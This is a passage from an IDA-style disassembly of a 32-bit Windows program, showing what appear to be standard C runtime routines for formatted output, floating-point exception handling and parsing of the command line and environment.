loc_403FF7: ; CODE XREF: sub_403D8C+282j mov edx, esi dec esi test edx, edx jz loc_4041D6 cmp word ptr [eax], 0 jz loc_4041D6 inc eax inc eax jmp short loc_403FF7 ; --------------------------------------------------------------------------- loc_404010: ; CODE XREF: sub_403D8C+212j ; sub_403D8C+216j mov [ebp+var_34], 1 add bl, 20h loc_40401A: ; CODE XREF: sub_403D8C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4040FE mov [ebp+var_10], 6 jmp loc_40410C ; --------------------------------------------------------------------------- loc_40403B: ; CODE XREF: sub_403D8C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_404047 or byte ptr [ebp+var_4+1], 8 loc_404047: ; CODE XREF: sub_403D8C+2B5j ; sub_403D8C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_40408E call sub_404588 push eax lea eax, [ebp+var_248] push eax call sub_405C0B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_4040A1 mov [ebp+var_28], 1 jmp short loc_4040A1 ; --------------------------------------------------------------------------- loc_404078: ; CODE XREF: sub_403D8C+1FBj sub eax, 5Ah jz short loc_4040AF sub eax, 9 jz short loc_404047 dec eax jz loc_404271 jmp loc_404396 ; --------------------------------------------------------------------------- loc_40408E: ; CODE XREF: sub_403D8C+2C5j call sub_40456B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_4040A1: ; CODE XREF: sub_403D8C+2E1j ; sub_403D8C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_404396 ; --------------------------------------------------------------------------- loc_4040AF: ; CODE XREF: sub_403D8C+2EFj lea eax, [ebp+arg_8] push eax call sub_40456B test eax, eax pop ecx jz short loc_4040F0 mov ecx, [eax+4] test ecx, ecx jz short loc_4040F0 test byte ptr [ebp+var_4+1], 8 jz short loc_4040E1 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_404396 ; --------------------------------------------------------------------------- loc_4040E1: ; CODE XREF: sub_403D8C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_404393 ; --------------------------------------------------------------------------- loc_4040F0: ; CODE XREF: sub_403D8C+32Fj ; sub_403D8C+336j mov eax, off_4090F0 mov [ebp+var_8], eax push eax jmp loc_40418C ; --------------------------------------------------------------------------- loc_4040FE: ; CODE XREF: sub_403D8C+29Dj jnz short loc_40410C cmp bl, 67h jnz short loc_40410C mov [ebp+var_10], 1 loc_40410C: ; CODE XREF: sub_403D8C+2AAj ; sub_403D8C:loc_4040FEj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_4097D0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_40415E cmp [ebp+var_10], 0 jnz short loc_40415E lea eax, [ebp+var_248] push eax call off_4097DC pop ecx loc_40415E: ; CODE XREF: sub_403D8C+3BCj ; sub_403D8C+3C2j cmp bl, 67h jnz short loc_404175 test esi, esi jnz short loc_404175 lea eax, [ebp+var_248] push eax call off_4097D4 pop ecx loc_404175: ; CODE XREF: sub_403D8C+3D5j ; sub_403D8C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_40418B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_40418B: ; CODE XREF: sub_403D8C+3F0j push edi loc_40418C: ; CODE XREF: sub_403D8C+36Dj call sub_405B90 pop ecx jmp loc_404393 ; --------------------------------------------------------------------------- loc_404197: ; CODE XREF: sub_403D8C+1E9j sub eax, 69h jz loc_404271 sub eax, 5 jz loc_404247 dec eax jz loc_404234 dec eax jz short loc_404204 sub eax, 3 jz loc_403FB9 dec eax dec eax jz loc_404275 sub eax, 3 jnz loc_404396 mov [ebp+var_2C], 27h jmp short loc_404212 ; --------------------------------------------------------------------------- loc_4041D6: ; CODE XREF: sub_403D8C+270j ; sub_403D8C+27Aj sub eax, ecx sar eax, 1 jmp loc_404393 ; --------------------------------------------------------------------------- loc_4041DF: ; CODE XREF: sub_403D8C+24Fj test ecx, ecx jnz short loc_4041EC mov ecx, off_4090F0 mov [ebp+var_8], ecx loc_4041EC: ; CODE XREF: sub_403D8C+455j mov eax, ecx loc_4041EE: ; CODE XREF: sub_403D8C+46Fj mov edx, esi dec esi test edx, edx jz short loc_4041FD cmp byte ptr [eax], 0 jz short loc_4041FD inc eax jmp short loc_4041EE ; --------------------------------------------------------------------------- loc_4041FD: ; CODE XREF: sub_403D8C+467j ; sub_403D8C+46Cj sub eax, ecx jmp loc_404393 ; --------------------------------------------------------------------------- loc_404204: ; CODE XREF: sub_403D8C+425j mov [ebp+var_10], 8 loc_40420B: ; CODE XREF: sub_403D8C+201j mov [ebp+var_2C], 7 loc_404212: ; CODE XREF: sub_403D8C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_40427C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_40427C ; --------------------------------------------------------------------------- loc_404234: ; CODE XREF: sub_403D8C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_40427C or byte ptr [ebp+var_4+1], 2 jmp short loc_40427C ; --------------------------------------------------------------------------- loc_404247: ; CODE XREF: sub_403D8C+417j lea eax, [ebp+arg_8] push eax call sub_40456B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_404260 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_404265 ; --------------------------------------------------------------------------- loc_404260: ; CODE XREF: sub_403D8C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_404265: ; CODE XREF: sub_403D8C+4D2j mov [ebp+var_28], 1 jmp loc_404494 ; default ; --------------------------------------------------------------------------- loc_404271: ; CODE XREF: sub_403D8C+2F7j ; sub_403D8C+40Ej or [ebp+var_4], 40h loc_404275: ; CODE XREF: sub_403D8C+432j mov [ebp+var_C], 0Ah loc_40427C: ; CODE XREF: sub_403D8C+491j ; sub_403D8C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_40428E lea eax, [ebp+arg_8] push eax call sub_404578 pop ecx jmp short loc_4042CF ; --------------------------------------------------------------------------- loc_40428E: ; CODE XREF: sub_403D8C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_4042B5 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4042AA call sub_40456B pop ecx movsx eax, ax loc_4042A7: ; CODE XREF: sub_403D8C+527j ; sub_403D8C+539j cdq jmp short loc_4042CF ; --------------------------------------------------------------------------- loc_4042AA: ; CODE XREF: sub_403D8C+510j call sub_40456B pop ecx movzx eax, ax jmp short loc_4042A7 ; --------------------------------------------------------------------------- loc_4042B5: ; CODE XREF: sub_403D8C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4042C7 call sub_40456B pop ecx jmp short loc_4042A7 ; --------------------------------------------------------------------------- loc_4042C7: ; CODE XREF: sub_403D8C+531j call sub_40456B pop ecx xor edx, edx loc_4042CF: ; CODE XREF: sub_403D8C+500j ; sub_403D8C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4042F0 test edx, edx jg short loc_4042F0 jl short loc_4042DF test eax, eax jnb short loc_4042F0 loc_4042DF: ; CODE XREF: sub_403D8C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4042F4 ; --------------------------------------------------------------------------- loc_4042F0: ; CODE XREF: sub_403D8C+547j ; sub_403D8C+54Bj ... mov esi, eax mov edi, edx loc_4042F4: ; CODE XREF: sub_403D8C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4042FD and edi, 0 loc_4042FD: ; CODE XREF: sub_403D8C+56Cj cmp [ebp+var_10], 0 jge short loc_40430C mov [ebp+var_10], 1 jmp short loc_404310 ; --------------------------------------------------------------------------- loc_40430C: ; CODE XREF: sub_403D8C+575j and [ebp+var_4], 0FFFFFFF7h loc_404310: ; CODE XREF: sub_403D8C+57Ej mov eax, esi or eax, edi jnz short loc_40431A and [ebp+var_1C], 0 loc_40431A: ; CODE XREF: sub_403D8C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_404320: ; CODE XREF: sub_403D8C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_404330 mov eax, esi or eax, edi jz short loc_40436B loc_404330: ; CODE XREF: sub_403D8C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_405CF0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_405C80 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_404361 add ebx, [ebp+var_2C] loc_404361: ; CODE XREF: sub_403D8C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_404320 ; --------------------------------------------------------------------------- loc_40436B: ; CODE XREF: sub_403D8C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_404396 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_404389 test eax, eax jnz short loc_404396 loc_404389: ; CODE XREF: sub_403D8C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_404393: ; CODE XREF: sub_403D8C+35Fj ; sub_403D8C+406j ... mov [ebp+var_C], eax loc_404396: ; CODE XREF: sub_403D8C+21Bj ; sub_403D8C+2FDj ... cmp [ebp+var_28], 0 jnz loc_404494 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_4043CE test bh, 1 jz short loc_4043B3 mov [ebp+var_16], 2Dh jmp short loc_4043C7 ; --------------------------------------------------------------------------- loc_4043B3: ; CODE XREF: sub_403D8C+61Fj test bl, 1 jz short loc_4043BE mov [ebp+var_16], 2Bh jmp short loc_4043C7 ; --------------------------------------------------------------------------- loc_4043BE: ; CODE XREF: sub_403D8C+62Aj test bl, 2 jz short loc_4043CE mov [ebp+var_16], 20h loc_4043C7: ; CODE XREF: sub_403D8C+625j ; sub_403D8C+630j mov [ebp+var_1C], 1 loc_4043CE: ; CODE XREF: sub_403D8C+61Aj ; sub_403D8C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4043EE lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_404502 add esp, 10h loc_4043EE: ; CODE XREF: sub_403D8C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_404533 add esp, 10h test bl, 8 jz short loc_404420 test bl, 4 jnz short loc_404420 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_404502 add esp, 10h loc_404420: ; CODE XREF: sub_403D8C+67Bj ; sub_403D8C+680j cmp [ebp+var_24], 0 jz short loc_404467 cmp [ebp+var_C], 0 jle short loc_404467 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_404435: ; CODE XREF: sub_403D8C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_405C0B pop ecx test eax, eax pop ecx jle short loc_40447C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_404533 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_404435 jmp short loc_40447C ; --------------------------------------------------------------------------- loc_404467: ; CODE XREF: sub_403D8C+698j ; sub_403D8C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_404533 add esp, 10h loc_40447C: ; CODE XREF: sub_403D8C+6BCj ; sub_403D8C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_404494 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_404502 add esp, 10h loc_404494: ; CODE XREF: sub_403D8C+68j ; sub_403D8C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_403DB8 loc_4044A5: ; CODE XREF: sub_403D8C+1Fj ; sub_403D8C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_403D8C endp ; --------------------------------------------------------------------------- off_4044AD dd offset loc_403F2B ; DATA XREF: sub_403D8C+6Er dd offset loc_403E01 ; jump table for switch statement dd offset loc_403E1C dd offset loc_403E68 dd offset loc_403E9F dd offset loc_403EA7 dd offset loc_403EDC dd offset loc_403F6F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044CD proc near ; CODE XREF: sub_403D8C+1BDp ; sub_403D8C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4044E6 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4044F1 ; --------------------------------------------------------------------------- loc_4044E6: ; CODE XREF: sub_4044CD+9j push ecx push [ebp+arg_0] call sub_403C77 pop ecx pop ecx loc_4044F1: ; CODE XREF: sub_4044CD+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4044FE or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4044FE: ; CODE XREF: sub_4044CD+2Aj inc dword ptr [eax] pop ebp retn sub_4044CD endp ; =============== S U B R O U T I N E ======================================= sub_404502 proc near ; CODE XREF: sub_403D8C+65Ap ; sub_403D8C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_404530 mov esi, [esp+8+arg_C] loc_404513: ; CODE XREF: sub_404502+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_4044CD add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_404530 mov eax, edi dec edi test eax, eax jg short loc_404513 loc_404530: ; CODE XREF: sub_404502+Bj ; sub_404502+25j pop edi pop esi retn sub_404502 endp ; =============== S U B R O U T I N E ======================================= sub_404533 proc near ; CODE XREF: sub_403D8C+670p ; sub_403D8C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_404567 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_404549: ; CODE XREF: sub_404533+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_4044CD add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_404567 mov eax, ebx dec ebx test eax, eax jg short loc_404549 loc_404567: ; CODE XREF: sub_404533+Cj ; sub_404533+2Bj pop edi pop esi pop ebx retn sub_404533 endp ; =============== S U B R O U T I N E ======================================= sub_40456B proc near ; CODE XREF: sub_403D8C+E5p ; sub_403D8C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_40456B endp ; =============== S U B R O U T I N E ======================================= sub_404578 proc near ; CODE XREF: sub_403D8C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_404578 endp ; =============== S U B R O U T I N E ======================================= sub_404588 proc near ; CODE XREF: sub_403D8C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_404588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404596 proc near ; CODE XREF: sub_402BE9+17p ; sub_402BE9+58p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_4045B4 mov ecx, off_4090F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_404606 ; --------------------------------------------------------------------------- loc_4045B4: ; CODE XREF: sub_404596+10j mov ecx, eax push esi mov esi, off_4090F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4045D9 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4045E2 ; --------------------------------------------------------------------------- loc_4045D9: ; CODE XREF: sub_404596+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4045E2: ; CODE XREF: sub_404596+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_405D65 add esp, 1Ch test eax, eax jnz short loc_404602 leave retn ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_404596+68j movzx eax, word ptr [ebp+arg_0+2] loc_404606: ; CODE XREF: sub_404596+1Cj and eax, [ebp+arg_4] leave retn sub_404596 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_404629 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_404629: ; CODE XREF: .packed:0040461Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404644 proc near ; CODE XREF: .packed:00402FC3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_404785 test eax, eax pop ecx jz loc_404779 mov ebx, [eax+8] test ebx, ebx jz loc_404779 cmp ebx, 5 jnz short loc_404675 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_404782 ; --------------------------------------------------------------------------- loc_404675: ; CODE XREF: sub_404644+23j cmp ebx, 1 jz loc_404774 mov ecx, dword_409AEC mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_409AEC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_404764 mov ecx, dword_409388 mov edx, dword_40938C add edx, ecx push esi cmp ecx, edx jge short loc_4046C4 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:409318h[esi*4] loc_4046BB: ; CODE XREF: sub_404644+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_4046BB loc_4046C4: ; CODE XREF: sub_404644+69j mov eax, [eax] mov esi, dword_409394 cmp eax, 0C000008Eh jnz short loc_4046DF mov dword_409394, 83h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_4046DF: ; CODE XREF: sub_404644+8Dj cmp eax, 0C0000090h jnz short loc_4046F2 mov dword_409394, 81h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_4046F2: ; CODE XREF: sub_404644+A0j cmp eax, 0C0000091h jnz short loc_404705 mov dword_409394, 84h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_404644+B3j cmp eax, 0C0000093h jnz short loc_404718 mov dword_409394, 85h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_404718: ; CODE XREF: sub_404644+C6j cmp eax, 0C000008Dh jnz short loc_40472B mov dword_409394, 82h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_40472B: ; CODE XREF: sub_404644+D9j cmp eax, 0C000008Fh jnz short loc_40473E mov dword_409394, 86h jmp short loc_40474F ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_404644+ECj cmp eax, 0C0000092h jnz short loc_40474F mov dword_409394, 8Ah loc_40474F: ; CODE XREF: sub_404644+99j ; sub_404644+ACj ... push dword_409394 push 8 call ebx pop ecx mov dword_409394, esi pop ecx pop esi jmp short loc_40476C ; --------------------------------------------------------------------------- loc_404764: ; CODE XREF: sub_404644+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_40476C: ; CODE XREF: sub_404644+11Ej mov eax, [ebp+arg_0] mov dword_409AEC, eax loc_404774: ; CODE XREF: sub_404644+34j or eax, 0FFFFFFFFh jmp short loc_404782 ; --------------------------------------------------------------------------- loc_404779: ; CODE XREF: sub_404644+Fj ; sub_404644+1Aj push [ebp+arg_4] call dword_4080B4 loc_404782: ; CODE XREF: sub_404644+2Cj ; sub_404644+133j pop ebx pop ebp retn sub_404644 endp ; =============== S U B R O U T I N E ======================================= sub_404785 proc near ; CODE XREF: sub_404644+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_409390 cmp dword_409310, edx push esi mov eax, offset dword_409310 jz short loc_4047B2 lea esi, [ecx+ecx*2] lea esi, ds:409310h[esi*4] loc_4047A7: ; CODE XREF: sub_404785+2Bj add eax, 0Ch cmp eax, esi jnb short loc_4047B2 cmp [eax], edx jnz short loc_4047A7 loc_4047B2: ; CODE XREF: sub_404785+16j ; sub_404785+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:409310h[ecx*4] cmp eax, ecx jnb short loc_4047C5 cmp [eax], edx jz short locret_4047C7 loc_4047C5: ; CODE XREF: sub_404785+3Aj xor eax, eax locret_4047C7: ; CODE XREF: sub_404785+3Ej retn sub_404785 endp ; =============== S U B R O U T I N E ======================================= sub_4047C8 proc near ; CODE XREF: sub_402EE0+A5p cmp dword_518688, 0 jnz short loc_4047D6 call sub_4062B4 loc_4047D6: ; CODE XREF: sub_4047C8+7j push esi mov esi, dword_518680 mov al, [esi] cmp al, 22h jnz short loc_404808 loc_4047E3: ; CODE XREF: sub_4047C8+33j ; sub_4047C8+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_404800 test al, al jz short loc_404800 movzx eax, al push eax call sub_405EAE test eax, eax pop ecx jz short loc_4047E3 inc esi jmp short loc_4047E3 ; --------------------------------------------------------------------------- loc_404800: ; CODE XREF: sub_4047C8+21j ; sub_4047C8+25j cmp byte ptr [esi], 22h jnz short loc_404812 loc_404805: ; CODE XREF: sub_4047C8+52j inc esi jmp short loc_404812 ; --------------------------------------------------------------------------- loc_404808: ; CODE XREF: sub_4047C8+19j cmp al, 20h jbe short loc_404812 loc_40480C: ; CODE XREF: sub_4047C8+48j inc esi cmp byte ptr [esi], 20h ja short loc_40480C loc_404812: ; CODE XREF: sub_4047C8+3Bj ; sub_4047C8+3Ej ... mov al, [esi] test al, al jz short loc_40481C cmp al, 20h jbe short loc_404805 loc_40481C: ; CODE XREF: sub_4047C8+4Ej mov eax, esi pop esi retn sub_4047C8 endp ; =============== S U B R O U T I N E ======================================= sub_404820 proc near ; CODE XREF: sub_402EE0+8Ep push ebx xor ebx, ebx cmp dword_518688, ebx push esi push edi jnz short loc_404832 call sub_4062B4 loc_404832: ; CODE XREF: sub_404820+Bj mov esi, dword_409AD8 xor edi, edi loc_40483A: ; CODE XREF: sub_404820+30j mov al, [esi] cmp al, bl jz short loc_404852 cmp al, 3Dh jz short loc_404845 inc edi loc_404845: ; CODE XREF: sub_404820+22j push esi call sub_405B90 pop ecx lea esi, [esi+eax+1] jmp short loc_40483A ; --------------------------------------------------------------------------- loc_404852: ; CODE XREF: sub_404820+1Ej lea eax, ds:4[edi*4] push eax call sub_4028C6 mov esi, eax pop ecx cmp esi, ebx mov dword_409A98, esi jnz short loc_404874 push 9 call sub_402FD6 pop ecx loc_404874: ; CODE XREF: sub_404820+4Aj mov edi, dword_409AD8 cmp [edi], bl jz short loc_4048B7 push ebp loc_40487F: ; CODE XREF: sub_404820+94j push edi call sub_405B90 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_4048B0 push ebp call sub_4028C6 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_4048A3 push 9 call sub_402FD6 pop ecx loc_4048A3: ; CODE XREF: sub_404820+79j push edi push dword ptr [esi] call sub_4062D0 pop ecx add esi, 4 pop ecx loc_4048B0: ; CODE XREF: sub_404820+6Cj add edi, ebp cmp [edi], bl jnz short loc_40487F pop ebp loc_4048B7: ; CODE XREF: sub_404820+5Cj push dword_409AD8 call sub_402B18 pop ecx mov dword_409AD8, ebx mov [esi], ebx pop edi pop esi mov dword_518684, 1 pop ebx retn sub_404820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048D9 proc near ; CODE XREF: sub_402EE0+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_518688, ebx push esi push edi jnz short loc_4048F0 call sub_4062B4 loc_4048F0: ; CODE XREF: sub_4048D9+10j mov esi, offset dword_409AF0 push 104h push esi push ebx call dword_408054 mov eax, dword_518680 mov dword_409AA8, esi mov edi, esi cmp [eax], bl jz short loc_404915 mov edi, eax loc_404915: ; CODE XREF: sub_4048D9+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_404972 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_4028C6 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_404945 push 8 call sub_402FD6 pop ecx loc_404945: ; CODE XREF: sub_4048D9+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_404972 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_409A90, esi pop edi pop esi mov dword_409A8C, eax pop ebx leave retn sub_4048D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404972 proc near ; CODE XREF: sub_4048D9+47p ; sub_4048D9+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_40499C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_40499C: ; CODE XREF: sub_404972+20j cmp byte ptr [eax], 22h jnz short loc_4049E5 loc_4049A1: ; CODE XREF: sub_404972+58j ; sub_404972+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_4049D3 test dl, dl jz short loc_4049D3 movzx edx, dl test byte_517421[edx], 4 jz short loc_4049C6 inc dword ptr [ecx] test esi, esi jz short loc_4049C6 mov dl, [eax] mov [esi], dl inc esi inc eax loc_4049C6: ; CODE XREF: sub_404972+46j ; sub_404972+4Cj inc dword ptr [ecx] test esi, esi jz short loc_4049A1 mov dl, [eax] mov [esi], dl inc esi jmp short loc_4049A1 ; --------------------------------------------------------------------------- loc_4049D3: ; CODE XREF: sub_404972+36j ; sub_404972+3Aj inc dword ptr [ecx] test esi, esi jz short loc_4049DD and byte ptr [esi], 0 inc esi loc_4049DD: ; CODE XREF: sub_404972+65j cmp byte ptr [eax], 22h jnz short loc_404A28 inc eax jmp short loc_404A28 ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: sub_404972+2Dj ; sub_404972+A5j inc dword ptr [ecx] test esi, esi jz short loc_4049F0 mov dl, [eax] mov [esi], dl inc esi loc_4049F0: ; CODE XREF: sub_404972+77j mov dl, [eax] inc eax movzx ebx, dl test byte_517421[ebx], 4 jz short loc_404A0B inc dword ptr [ecx] test esi, esi jz short loc_404A0A mov bl, [eax] mov [esi], bl inc esi loc_404A0A: ; CODE XREF: sub_404972+91j inc eax loc_404A0B: ; CODE XREF: sub_404972+8Bj cmp dl, 20h jz short loc_404A19 test dl, dl jz short loc_404A1D cmp dl, 9 jnz short loc_4049E5 loc_404A19: ; CODE XREF: sub_404972+9Cj test dl, dl jnz short loc_404A20 loc_404A1D: ; CODE XREF: sub_404972+A0j dec eax jmp short loc_404A28 ; --------------------------------------------------------------------------- loc_404A20: ; CODE XREF: sub_404972+A9j test esi, esi jz short loc_404A28 and byte ptr [esi-1], 0 loc_404A28: ; CODE XREF: sub_404972+6Ej ; sub_404972+71j ... and [ebp+arg_10], 0 loc_404A2C: ; CODE XREF: sub_404972+19Ej cmp byte ptr [eax], 0 jz loc_404B15 loc_404A35: ; CODE XREF: sub_404972+D0j mov dl, [eax] cmp dl, 20h jz short loc_404A41 cmp dl, 9 jnz short loc_404A44 loc_404A41: ; CODE XREF: sub_404972+C8j inc eax jmp short loc_404A35 ; --------------------------------------------------------------------------- loc_404A44: ; CODE XREF: sub_404972+CDj cmp byte ptr [eax], 0 jz loc_404B15 test edi, edi jz short loc_404A59 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_404A59: ; CODE XREF: sub_404972+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_404A5E: ; CODE XREF: sub_404972+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_404A67: ; 